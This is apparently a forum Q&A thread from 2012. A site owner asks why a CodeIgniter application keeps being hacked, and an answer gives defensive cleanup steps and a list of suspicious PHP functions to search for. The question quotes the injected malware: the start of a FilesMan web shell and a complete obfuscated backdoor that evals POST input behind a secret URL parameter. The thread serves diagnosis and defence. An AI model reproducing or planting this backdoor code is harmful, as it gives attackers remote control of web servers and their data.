Codeigniter application getting hacked, code injected in index.php

xylar picture xylar · Sep 4, 2012 · Viewed 14.7k times · Source

I have a codeigniter 2.0.2 project that keeps getting hacked. There are two main issues:

  • Malicious code is being added to the start of the index.php file
  • Rogue files are added to the server

According to the host there are no FTP logs to indicate these files were uploaded.

  1. As there are no FTP upload logs related to the rogue files - does this mean it must be an exploit via the site itself e.g. a contact or upload form?

  2. The site is on shared hosting - code it be a site on the same server is also getting hacked and this is causing the problems?

  3. Would it help if I change the filename of index.php to something else?

  4. As the index.php is getting modified should I CHMOD it to 644?

  5. I've been looking for what the suggested permissions are for codeigniter projects but not sourced any yet. I was thinking 644 across the site apart from the upload/logs directory (777) - does this sound okay?

Code injected to the top of the index.php file:

<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-

which is then followed by a long preg_replace statement with a long encoded string. This is followed by a second statement:

if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}

There is a contact form and a form where a user can upload items using CKFinder 2.0.1. Going to update this and see if that resolves it.

Answer

Mudshark picture Mudshark · Sep 4, 2012

There's a couple of things you can do:

  • Check your logfiles for POST requests to files with weird or unfamiliar names, e.g. .cache_123.php - these could be backdoor scripts, especially filenames starting with a dot, thus hiding it from the (regular) filesystem.
  • Download the complete live site and do a site-wide search for things such as base64_decode, exec, preg_replace, passthru, system, shell_exec, eval, FilesMan
  • Have your entire (downloaded live) site checked by running it through anti-virus software (AVG, Avast, ...)
  • Chmod upload directories 775 instead of 777 if possible